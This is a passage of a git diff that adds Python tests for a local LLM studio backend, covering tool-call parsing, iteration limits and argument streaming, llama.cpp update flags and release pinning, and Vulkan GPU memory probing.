+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": f"t{i}"}} for i in range(n)],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert len(calls) == _MAX_TOOL_CALLS_PER_TURN, [c[0] for c in calls]
+    # The cap keeps the first calls in order (no reordering / drop of leading ones).
+    assert [c[0] for c in calls] == [f"t{i}" for i in range(_MAX_TOOL_CALLS_PER_TURN)]
+
+
+def test_gguf_textual_fallback_collapses_duplicate_tool_calls(monkeypatch):
+    """Exact-duplicate textual calls in one turn collapse to a single execution."""
+    blocks = '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>' * 5
+    first_stream = [_sse({"content": blocks}), _done()]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert len(calls) == 1, [c[0] for c in calls]
+
+
+def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled(monkeypatch):
+    """Auto-Heal OFF keeps a truncated enabled-name fragment visible; ON suppresses it (strip gated on auto_heal_tool_calls)."""
+
+    trunc = '{"name":"web_search","parameters":{"query":"weather'
+
+    def _run(auto_heal):
+        stream = [_sse({"content": trunc}), _done()]
+        backend = _make_backend(monkeypatch, [stream], [])
+        calls: list[tuple[str, dict]] = []
+        monkeypatch.setattr(
+            "core.inference.tools.execute_tool",
+            lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+        )
+        events = list(
+            backend.generate_chat_completion_with_tools(
+                messages = [{"role": "user", "content": "x"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                max_tool_iterations = 1,
+                auto_heal_tool_calls = auto_heal,
+            )
+        )
+        contents = "".join(e.get("text", "") for e in events if e.get("type") == "content")
+        return calls, contents
+
+    calls_off, contents_off = _run(False)
+    assert calls_off == [], calls_off
+    assert "web_search" in contents_off, contents_off
+
+    calls_on, contents_on = _run(True)
+    assert calls_on == [], calls_on
+    assert "web_search" not in contents_on, contents_on
+
+
+def test_gguf_valid_tool_calls_respect_max_tool_iterations(monkeypatch):
+    """Re-prompt slots must not extend the tool budget: stop after ``max_tool_iterations`` executed rounds."""
+    # More tool-call streams than the budget: if re-prompt slots leaked into the budget (the bug) the
+    # loop would run 2+3=5 rounds; honouring it stops after 2, then a tool-less final-answer pass.
+    streams = [
+        _structured_tool_call("web_search", {"query": f"q{i}"}, f"call_{i}") for i in range(6)
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search repeatedly"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    # Exactly two executed tool rounds, then one final-answer pass.
+    assert len(calls) == 2, calls
+    assert len(payloads) == 3, len(payloads)
+    # The final pass is the budget-exhausted nudge and carries no tools.
+    assert _tool_names(payloads[2]) == [], _tool_names(payloads[2])
+    assert any(
+        m.get("role") == "user" and "used all available tool calls" in m.get("content", "")
+        for m in payloads[2]["messages"]
+    ), payloads[2]["messages"]
+
+
+# ── Live tool-call argument streaming (tool_args events) ─────────────────────
+
+
+def _python_tool_schema() -> list[dict]:
+    return [
+        {
+            "type": "function",
+            "function": {
+                "name": "python",
+                "description": "Run python code.",
+                "parameters": {
+                    "type": "object",
+                    "properties": {"code": {"type": "string"}},
+                    "required": ["code"],
+                },
+            },
+        }
+    ]
+
+
+def test_structured_tool_args_stream_to_provisional_card(monkeypatch):
+    """A large structured tool call must stream its arguments as tool_args events
+    to the provisional card (backlog that triggered the card, then each
+    fragment), while the executed call and the model's view stay exactly what the
+    accumulator built."""
+
+    code = "print('x')\n" + ("# pad\n" * 80)
+    args_json = json.dumps({"code": code})
+    call_id = "call_live_args"
+    split = _PROVISIONAL_ARGS_MIN_CHARS + 16
+    frag1, frag2, frag3 = (
+        args_json[:split],
+        args_json[split : split + 40],
+        args_json[split + 40 :],
+    )
+
+    def _tc_delta(fragment: str, with_header: bool) -> str:
+        entry: dict = {"index": 0, "function": {"arguments": fragment}}
+        if with_header:
+            entry.update({"id": call_id, "type": "function"})
+            entry["function"]["name"] = "python"
+        return _sse({"tool_calls": [entry]})
+
+    first_stream = [
+        _tc_delta(frag1, with_header = True),
+        _tc_delta(frag2, with_header = False),
+        _tc_delta(frag3, with_header = False),
+        _done(),
+    ]
+    second_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, second_stream], payloads)
+
+    executed: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        executed.append((name, arguments))
+        return "ok"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run it"}],
+            tools = _python_tool_schema(),
+            max_tool_iterations = 1,
+        )
+    )
+
+    starts = [e for e in events if e.get("type") == "tool_start"]
+    assert starts and starts[0]["tool_call_id"] == call_id
+
+    args_events = [e for e in events if e.get("type") == "tool_args"]
+    assert args_events, "no tool_args events were streamed"
+    assert all(e["tool_call_id"] == call_id for e in args_events)
+    # First event is the backlog, the rest raw fragments; together the args JSON.
+    assert args_events[0]["text"] == frag1
+    assert "".join(e["text"] for e in args_events) == args_json
+
+    # The streamed display path must not perturb execution or the model view.
+    assert executed == [("python", {"code": code})]
+    assistant_messages = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"]
+    tc = assistant_messages[-1]["tool_calls"][0]
+    assert tc["id"] == call_id
+    # Controller re-serializes args (normalized JSON); parsed payload unchanged.
+    assert json.loads(tc["function"]["arguments"]) == {"code": code}
+
+
+def test_text_tool_call_streams_args_and_reconciles_card(monkeypatch):
+    """A TEXT (XML) tool call must stream its raw call text as tool_args under the
+    id the stream-end parser assigns ("call_0"), so the provisional card and the
+    final tool_start reconcile."""
+
+    code = "print('hello')\n" + ("# filler\n" * 60)
+    call_json = json.dumps({"name": "python", "arguments": {"code": code}})
+    call_text = f"<tool_call>{call_json}</tool_call>"
+    chunks = [call_text[i : i + 48] for i in range(0, len(call_text), 48)]
+    first_stream = [_sse({"content": chunk}) for chunk in chunks] + [_done()]
+    second_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, second_stream], payloads)
+
+    executed: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        executed.append((name, arguments))
+        return "ok"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run it"}],
+            tools = _python_tool_schema(),
+            max_tool_iterations = 1,
+        )
+    )
+
+    starts = [e for e in events if e.get("type") == "tool_start"]
+    assert starts, "no tool_start emitted"
+    # Provisional card first (parser's first-call id), then the reconciling start.
+    assert starts[0]["tool_call_id"] == "call_0"
+    assert starts[0]["arguments"] == {}
+    assert starts[-1]["tool_call_id"] == "call_0"
+
+    args_events = [e for e in events if e.get("type") == "tool_args"]
+    assert args_events, "no tool_args events for the text call"
+    assert all(e["tool_call_id"] == "call_0" for e in args_events)
+    streamed = "".join(e["text"] for e in args_events)
+    # Streamed text is the drained call (display only); it must never leak into
+    # content events.
+    assert '"name": "python"' in streamed
+    assert executed == [("python", {"code": code})]
+    content_events = [e for e in events if e.get("type") == "content"]
+    assert not any("<tool_call>" in e["text"] for e in content_events)
+
+
+def test_ordinary_json_answer_streams_no_tool_args(monkeypatch):
+    """A large ordinary JSON answer (no enabled tool name) must not spawn a
+    provisional card or tool_args events; it stays a normal content answer."""
+
+    answer = json.dumps({"result": "fine", "data": ["x" * 40] * 12, "note": "not a tool call"})
+    chunks = [answer[i : i + 64] for i in range(0, len(answer), 64)]
+    stream = [_sse({"content": chunk}) for chunk in chunks] + [_done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give me json"}],
+            tools = _python_tool_schema(),
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert not [e for e in events if e.get("type") == "tool_args"]
+    assert not [e for e in events if e.get("type") == "tool_start"]
+    content_events = [e for e in events if e.get("type") == "content"]
+    assert content_events and answer in content_events[-1]["text"]
+
+
+def test_provisional_text_card_closed_when_parse_fails(monkeypatch):
+    """A >=256-char enabled-name text sniff opens a provisional card; if the
+    drained text then fails to parse (auto-heal off, truncated call), the
+    DRAINING false-positive path must close the card with a tool_end instead of
+    leaving it spinning forever."""
+
+    # Truncated mid-arguments and never closed: unparseable without healing.
+    call_text = '<tool_call>{"name": "python", "arguments": {"code": "' + "x" * (
+        _PROVISIONAL_ARGS_MIN_CHARS + 64
+    )
+    chunks = [call_text[i : i + 48] for i in range(0, len(call_text), 48)]
+    stream = [_sse({"content": chunk}) for chunk in chunks] + [_done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    executed: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        executed.append((name, arguments))
+        return "ok"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run it"}],
+            tools = _python_tool_schema(),
+            max_tool_iterations = 1,
+            auto_heal_tool_calls = False,
+        )
+    )
+
+    starts = [e for e in events if e.get("type") == "tool_start"]
+    ends = [e for e in events if e.get("type") == "tool_end"]
+    assert starts and starts[0]["tool_call_id"] == "call_0"
+    assert executed == []  # nothing parsed, nothing ran
+    assert ends, "provisional card left dangling (no tool_end)"
+    assert ends[-1]["tool_call_id"] == "call_0"
diff --git a/studio/backend/tests/test_llama_cpp_update.py b/studio/backend/tests/test_llama_cpp_update.py
index 4ceffbf75b..9e23242b97 100644
--- a/studio/backend/tests/test_llama_cpp_update.py
+++ b/studio/backend/tests/test_llama_cpp_update.py
@@ -83,6 +83,7 @@ def _write_install(
     repo: str = "unslothai/llama.cpp",
     asset: str | None = None,
     release_tag: str | None = None,
+    force_cpu: bool | None = None,
 ) -> str:
     """Create a fake prebuilt install and return the llama-server path."""
     bin_dir = dir_ / "build" / "bin"
@@ -99,6 +100,8 @@ def _write_install(
     }
     if asset is not None:
         marker["asset"] = asset
+    if force_cpu is not None:
+        marker["force_cpu"] = force_cpu
     (dir_ / MARKER).write_text(json.dumps(marker))
     return str(binary)
 
@@ -116,6 +119,9 @@ def _clean_state(monkeypatch, tmp_path):
     monkeypatch.delenv("UNSLOTH_LLAMA_CPP_PATH", raising = False)
     # Never hit the network in these tests.
     monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: None)
+    # Keep the whisper piggyback out of the llama-only tests: no host probe, no
+    # whisper phase (test_combined_update.py covers the chained flow).
+    monkeypatch.setattr(upd, "_whisper_chain_status", lambda **kwargs: None)
     yield
     freshness.reset_caches()
     upd._reset_job_for_tests()
@@ -393,6 +399,9 @@ def test_start_update_source_build_installs_prebuilt(monkeypatch, tmp_path):
     assert "--llama-tag" in cmd and "latest" in cmd
     assert cmd[cmd.index("--rocm-gfx") + 1] == "gfx110x"
     assert "--simple-policy" not in cmd and "--cpu-fallback" not in cmd
+    # No pin: source-build detection and the unpinned apply share the same
+    # "latest" resolver, so they already agree.
+    assert "--published-release-tag" not in cmd
 
 
 def test_start_update_happy_path(monkeypatch, tmp_path):
@@ -448,6 +457,89 @@ def test_start_update_happy_path(monkeypatch, tmp_path):
     assert popen_kwargs["env"]["UNSLOTH_PROGRESS_PERCENT_STEP"] == "5"
 
 
+def test_start_update_preserves_vulkan_via_env(monkeypatch, tmp_path):
+    # A Vulkan install (marker asset carries 'vulkan') must re-assert
+    # UNSLOTH_FORCE_VULKAN on update, or detect_host on a GPU box re-routes to
+    # CUDA/ROCm and silently replaces the Vulkan build.
+    install_dir = tmp_path / "llama.cpp"
+    binary = _write_install(
+        install_dir,
+        "b9493",
+        repo = "ggml-org/llama.cpp",
+        asset = "llama-b9493-bin-ubuntu-vulkan-x64.tar.gz",
+    )
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py")
+    monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518")
+
+    def _on_start(cmd):
+        _write_install(
+            install_dir,
+            "b9518",
+            repo = "ggml-org/llama.cpp",
+            asset = "llama-b9518-bin-ubuntu-vulkan-x64.tar.gz",
+        )
+
+    popen_kwargs: dict = {}
+    _patch_installer_popen(
+        monkeypatch,
+        lines = ["installed\n"],
+        on_start = _on_start,
+        captured_kwargs = popen_kwargs,
+    )
+
+    assert upd.start_update()["started"] is True
+    deadline = time.time() + 10
+    while time.time() < deadline:
+        job = upd.get_update_status()["job"]
+        if job["state"] in ("success", "error"):
+            break
+        time.sleep(0.05)
+    assert job["state"] == "success", job
+    assert popen_kwargs["env"]["UNSLOTH_FORCE_VULKAN"] == "1"
+
+
+@pytest.mark.parametrize(
+    "force_cpu, expect_flag",
+    [
+        # A deliberate CPU install (marker force_cpu=True) re-asserts --force-cpu on
+        # update so detect_host on a GPU host cannot re-route and revive the crash
+        # (#7213); --force-cpu also re-persists the flag for the next update.
+        (True, True),
+        # A transient fallback (or a legacy marker without the flag) stays free to
+        # heal to a GPU bundle (#6097).
+        (False, False),
+        (None, False),
+    ],
+)
+def test_start_update_cpu_fallback_preserved_by_flag(monkeypatch, tmp_path, force_cpu, expect_flag):
+    asset = "llama-b9493-bin-ubuntu-x64.tar.gz"
+    install_dir = tmp_path / "llama.cpp"
+    binary = _write_install(install_dir, "b9493", asset = asset, force_cpu = force_cpu)
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py")
+    monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518")
+
+    captured: dict = {}
+
+    def _on_start(cmd):
+        captured["cmd"] = cmd
+        _write_install(install_dir, "b9518", asset = asset, force_cpu = force_cpu)
+
+    _patch_installer_popen(monkeypatch, lines = ["installed\n"], on_start = _on_start)
+
+    assert upd.start_update()["started"] is True
+    deadline = time.time() + 10
+    while time.time() < deadline:
+        job = upd.get_update_status()["job"]
+        if job["state"] in ("success", "error"):
+            break
+        time.sleep(0.05)
+    assert job["state"] == "success", job
+    assert ("--force-cpu" in captured["cmd"]) is expect_flag
+    assert "--cpu-fallback" not in captured["cmd"]
+
+
 def test_start_update_reports_full_release_tag(monkeypatch, tmp_path):
     install_dir = tmp_path / "llama.cpp"
     binary = _write_install(install_dir, "b9595")
@@ -477,6 +569,57 @@ def test_start_update_reports_full_release_tag(monkeypatch, tmp_path):
     assert "Updated llama.cpp to b9596-mix-e6f2453." in job["message"]
 
 
+def _run_start_update_to_completion():
+    res = upd.start_update()
+    assert res["started"] is True
+    deadline = time.time() + 10
+    while time.time() < deadline:
+        job = upd.get_update_status()["job"]
+        if job["state"] in ("success", "error"):
+            return job
+        time.sleep(0.05)
+    return upd.get_update_status()["job"]
+
+
+def test_start_update_pinned_tag_mismatch_fails(monkeypatch, tmp_path):
+    # Installer stays on the pinned repo but produces a different tag -> it
+    # ignored the pin (the silent mismatch this pin exists to prevent). Fail loud.
+    monkeypatch.setattr(sys, "platform", "linux")
+    install_dir = tmp_path / "llama.cpp"
+    binary = _write_install(install_dir, "b9595")
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py")
+    monkeypatch.setattr(
+        freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9601-mix-a0e2906"
+    )
+    _patch_installer_popen(
+        monkeypatch,
+        on_start = lambda cmd: _write_install(install_dir, "b9500", release_tag = "b9500-mix-deadbee"),
+    )
+    job = _run_start_update_to_completion()
+    assert job["state"] == "error", job
+    assert "b9601-mix-a0e2906" in (job["error"] or "")
+
+
+def test_start_update_pinned_reroute_to_other_repo_ok(monkeypatch, tmp_path):
+    # A Vulkan/Intel host reroutes fork->upstream and drops the pin, installing a
+    # different-repo tag. Legitimate: the pin check must not flag the repo switch.
+    monkeypatch.setattr(sys, "platform", "linux")
+    install_dir = tmp_path / "llama.cpp"
+    binary = _write_install(install_dir, "b9595", repo = "unslothai/llama.cpp")
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py")
+    monkeypatch.setattr(
+        freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9601-mix-a0e2906"
+    )
+    _patch_installer_popen(
+        monkeypatch,
+        on_start = lambda cmd: _write_install(install_dir, "b9601", repo = "ggml-org/llama.cpp"),
+    )
+    job = _run_start_update_to_completion()
+    assert job["state"] == "success", job
+
+
 def test_start_update_installer_failure_reports_error(monkeypatch, tmp_path):
     install_dir = tmp_path / "llama.cpp"
     binary = _write_install(install_dir, "b9493")
@@ -580,7 +723,7 @@ def test_install_cmd_rocm_marker_forwards_gfx(monkeypatch, tmp_path):
     assert "--rocm-gfx" in cmd
     assert cmd[cmd.index("--rocm-gfx") + 1] == "gfx110x"
     assert "--has-rocm" not in cmd
-    assert "--cpu-fallback" not in cmd
+    assert "--force-cpu" not in cmd
     assert "--simple-policy" not in cmd
     assert "--published-repo" in cmd and "unslothai/llama.cpp" in cmd
 
@@ -594,16 +737,17 @@ def test_install_cmd_fork_rocm_marker_forwards_has_rocm(monkeypatch, tmp_path):
 
 
 def test_install_cmd_ggml_cpu_marker_has_no_cpu_fallback(monkeypatch, tmp_path):
-    # CPU installs come from ggml-org. Re-running into the same install-dir/repo
-    # reproduces the same CPU bundle; --cpu-fallback (which force-drops GPU
-    # detection) is reserved for setup.sh's arm64 rescue and must not appear here.
+    # Legacy CPU installs recorded a ggml-org marker (new installs use the fork) with
+    # no force_cpu field. Re-running into the same install-dir/repo reproduces the same
+    # CPU bundle; --force-cpu (the persisted-CPU re-assert) must not appear for a marker
+    # that never recorded a deliberate CPU choice, so it can still heal to GPU (#6097).
     cmd = _capture_install_cmd(
         monkeypatch,
         tmp_path,
         repo = "ggml-org/llama.cpp",
         asset = "llama-b9334-bin-ubuntu-x64.tar.gz",
     )
-    assert "--cpu-fallback" not in cmd
+    assert "--force-cpu" not in cmd
     assert "--rocm-gfx" not in cmd
     assert "--has-rocm" not in cmd
     assert "--simple-policy" not in cmd
@@ -617,7 +761,34 @@ def test_install_cmd_cuda_marker_minimal_and_backward_compatible(monkeypatch, tm
     assert "--simple-policy" not in cmd
     assert "--rocm-gfx" not in cmd
     assert "--has-rocm" not in cmd
-    assert "--cpu-fallback" not in cmd
+    assert "--force-cpu" not in cmd
+
+
+def test_install_cmd_pins_offered_release_tag(monkeypatch, tmp_path):
+    # Apply must install exactly the release the banner offered. The installer's
+    # own "latest" comes from commit-date-ordered sources, which can lag the
+    # published_at-newest tag detection picked; unpinned, that lag makes Update
+    # reinstall the current build while the banner never clears.
+    monkeypatch.setattr(sys, "platform", "linux")
+    cmd = _capture_install_cmd(monkeypatch, tmp_path, latest = "b9601-mix-a0e2906")
+    # The full release identity is pinned, not the bare upstream base.
+    assert cmd[cmd.index("--published-release-tag") + 1] == "b9601-mix-a0e2906"
+
+
+def test_install_cmd_pins_on_windows(monkeypatch, tmp_path):
+    # The darwin exemption must not leak to other platforms.
+    monkeypatch.setattr(sys, "platform", "win32")
+    cmd = _capture_install_cmd(monkeypatch, tmp_path)
+    assert cmd[cmd.index("--published-release-tag") + 1] == "b9518"
+
+
+def test_install_cmd_does_not_pin_on_macos(monkeypatch, tmp_path):
+    # A pinned tag disables the installer's older-release walk-back, which macOS
+    # needs to skip prebuilts built for a newer macOS than the host.
+    monkeypatch.setattr(sys, "platform", "darwin")
+    cmd = _capture_install_cmd(monkeypatch, tmp_path)
+    assert "--published-release-tag" not in cmd
+    assert "--llama-tag" in cmd and "latest" in cmd
 
 
 # --- refusal + maintenance-state coordination ---
diff --git a/studio/backend/tests/test_llama_cpp_vulkan_probe.py b/studio/backend/tests/test_llama_cpp_vulkan_probe.py
new file mode 100644
index 0000000000..92aaab4873
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_vulkan_probe.py
@@ -0,0 +1,193 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Vulkan free-VRAM reader regression tests on a synthetic probe output.
+
+Covers the post-probe handling in
+``LlamaCppBackend._get_gpu_free_memory_vulkan``:
+
+  * integrated GPUs (probe reports is_igpu=1) leave a flat per-device host
+    margin matching llama.cpp's --fit-target, so context auto-sizing can't
+    over-commit shared RAM, and report total 0 (shared RAM is not a budget),
+  * discrete GPUs (is_igpu=0) keep their free untouched and pass their real
+    total through so the fit can reserve absolute headroom,
+  * an inherited ``GGML_VK_VISIBLE_DEVICES`` is passed through to ggml unchanged
+    (ggml applies it), not stripped or filtered in Python -- the probe reports
+    ggml's compact ordinal, which load_model pins with ``--device Vulkan<i>``.
+
+The ggml Vulkan library is never loaded: subprocess.run is mocked to emit
+the tab-separated lines the real ``_vulkan_probe.py`` would print.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+import types as _types
+from pathlib import Path
+from unittest import mock
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+import importlib as _importlib  # noqa: E402
+
+
+def _maybe_stub(name: str, builder):
+    try:
+        _importlib.import_module(name)
+    except ImportError:
+        sys.modules[name] = builder()
+
+
+def _build_loggers_stub():
+    m = _types.ModuleType("loggers")
+    m.get_logger = lambda name: __import__("logging").getLogger(name)
+    return m
+
+
+_maybe_stub("loggers", _build_loggers_stub)
+_maybe_stub("structlog", lambda: _types.ModuleType("structlog"))
+
+from core.inference import llama_cpp as _llama_mod  # noqa: E402
+from core.inference.llama_cpp import (  # noqa: E402
+    LlamaCppBackend,
+    _llama_lib_dir,
+    _vulkan_lib_filename,
+)
+
+MIB = 1024 * 1024
+GIB = 1024 * MIB
+
+
+def _make_vulkan_install(tmp_path: Path) -> str:
+    """A binary whose sibling dir holds the Vulkan ggml lib, so the
+    reader's ``is_vulkan_backend`` sibling-file check passes."""
+    bindir = tmp_path / "build" / "bin"
+    bindir.mkdir(parents = True)
+    binary = bindir / ("llama-server.exe" if sys.platform == "win32" else "llama-server")
+    binary.write_bytes(b"stub")
+    (bindir / _vulkan_lib_filename()).write_bytes(b"stub")
+    return str(binary)
+
+
+def _mock_probe(rows: list[str], captured_env: dict | None = None):
+    """Patch subprocess.run so the _vulkan_probe.py call returns ``rows``
+    (already tab-formatted), recording the env it was launched with."""
+    real_run = subprocess.run
+
+    def fake_run(cmd, *args, **kwargs):
+        if isinstance(cmd, list) and any("_vulkan_probe" in str(c) for c in cmd):
+            if captured_env is not None:
+                captured_env.clear()
+                captured_env.update(kwargs.get("env") or {})
+            return subprocess.CompletedProcess(
+                args = cmd, returncode = 0, stdout = "\n".join(rows), stderr = ""
+            )
+        return real_run(cmd, *args, **kwargs)
+
+    return mock.patch("subprocess.run", side_effect = fake_run)
+
+
+def _row(
+    idx: int,
+    free_bytes: int,
+    is_igpu: int,
+    total_bytes: int = 0,
+) -> str:
+    return f"{idx}\t{free_bytes}\t{is_igpu}\t{total_bytes}"
+
+
+def test_integrated_gpu_leaves_host_margin(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    # iGPU with 30 GiB free; reserve a flat 1024 MiB (llama.cpp --fit-target).
+    # total stays 0: shared system RAM is not a VRAM budget for the fit.
+    rows = [_row(0, 30 * GIB, is_igpu = 1, total_bytes = 32 * GIB)]
+    with _mock_probe(rows):
+        gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert gpus == [(0, 30 * 1024 - 1024, 0)], gpus
+
+
+def test_discrete_gpu_free_is_untouched_and_total_passed_through(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    # 6 GiB free on a partially occupied 24 GiB card: free is untouched and the
+    # real total flows through so the fit reserves absolute headroom (CUDA/ROCm
+    # parity) instead of the looser free*frac budget.
+    rows = [_row(0, 6 * GIB, is_igpu = 0, total_bytes = 24 * GIB)]
+    with _mock_probe(rows):
+        gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert gpus == [(0, 6 * 1024, 24 * 1024)], gpus
+
+
+def test_large_discrete_gpu_is_untouched(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    # A 48 GiB discrete card stays untouched regardless of size; only the
+    # iGPU flag triggers the host margin, never a VRAM/RAM ratio.
+    rows = [_row(0, 47 * GIB, is_igpu = 0, total_bytes = 48 * GIB)]
+    with _mock_probe(rows):
+        gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert gpus == [(0, 47 * 1024, 48 * 1024)], gpus
+
+
+def test_inherited_visible_devices_mask_is_passed_through_to_probe(tmp_path, monkeypatch):
+    # The mask is NOT stripped or filtered in Python: ggml parses it in raw
+    # physical-device space while this probe reports the compact post-filter
+    # ordinal, so mixing spaces would be wrong. It is passed through unchanged
+    # so ggml applies it to the same device list the launch will enumerate.
+    binary = _make_vulkan_install(tmp_path)
+    monkeypatch.setenv("GGML_VK_VISIBLE_DEVICES", "1")
+    captured: dict = {}
+    rows = [_row(0, 23 * GIB, is_igpu = 0, total_bytes = 24 * GIB)]
+    with _mock_probe(rows, captured_env = captured):
+        LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert captured.get("GGML_VK_VISIBLE_DEVICES") == "1", captured
+
+
+def test_vulkan_pin_args_uses_device_names_not_env_mask():
+    # Pin by compact device name via --device (the space the probe reports and
+    # the registry names), never by writing a compact ordinal into the raw
+    # GGML_VK_VISIBLE_DEVICES index space.
+    assert LlamaCppBackend._vulkan_pin_args([0]) == ["--device", "Vulkan0"]
+    assert LlamaCppBackend._vulkan_pin_args([1, 2]) == ["--device", "Vulkan1,Vulkan2"]
+    assert LlamaCppBackend._vulkan_pin_args(None) == []
+    assert LlamaCppBackend._vulkan_pin_args([]) == []
+
+
+def test_vulkan_only_build_is_detected(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    assert LlamaCppBackend._is_vulkan_backend(binary) is True
+
+
+def test_multi_backend_build_is_not_vulkan_only(tmp_path):
+    # A custom build that ships CUDA (or HIP) alongside Vulkan must NOT be
+    # treated as Vulkan-only, or its CUDA GPU would be probed/pinned as a Vulkan
+    # device; defer to the CUDA/HIP path instead.
+    binary = _make_vulkan_install(tmp_path)
+    cuda = "ggml-cuda.dll" if sys.platform == "win32" else "libggml-cuda.so"
+    (_llama_lib_dir(binary) / cuda).write_bytes(b"stub")
+    assert LlamaCppBackend._is_vulkan_backend(binary) is False
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "shell wrapper fallback is POSIX")
+def test_shell_wrapper_entrypoint_resolves_to_real_lib_dir(tmp_path):
+    # create_exec_entrypoint falls back to a #!/bin/sh wrapper at the install root
+    # when it cannot symlink; _find_llama_server_binary returns that root entrypoint,
+    # so _llama_lib_dir must follow the wrapper's exec target to build/bin -- else
+    # _is_vulkan_backend misses libggml-vulkan.so and the Vulkan probe/pin silently
+    # never engage on a valid Vulkan install.
+    import os
+
+    binary = _make_vulkan_install(tmp_path)  # tmp_path/build/bin/llama-server + vulkan lib
+    bindir = Path(binary).parent
+    wrapper = tmp_path / "llama-server"
+    wrapper.write_text('#!/bin/sh\nexec "$(dirname "$0")/build/bin/llama-server" "$@"\n')
+    os.chmod(wrapper, 0o755)
+    assert _llama_lib_dir(str(wrapper)) == bindir
+    assert LlamaCppBackend._is_vulkan_backend(str(wrapper)) is True
+
+
+if __name__ == "__main__":
+    raise SystemExit(pytest.main([__file__, "-v"]))
diff --git a/studio/backend/tests/test_llama_cpp_wait_for_health.py b/studio/backend/tests/test_llama_cpp_wait_for_health.py
index 82c5b4931a..423c3dd009 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_health.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_health.py
@@ -224,7 +224,7 @@ class TestRetryLogFilenameUnique:
 class TestFitOffRetryEligible:
     """Gate for the one-shot --fit off startup-crash retry.
 
-    Retry only when Studio's own VRAM math placed the model and nothing
+    Retry only when Unsloth's own VRAM math placed the model and nothing
     on the command line chose the fit mode explicitly."""
 
     def test_eligible_for_plain_ngl_launch(self):
diff --git a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
index 3c21f41701..b28df7ec3f 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
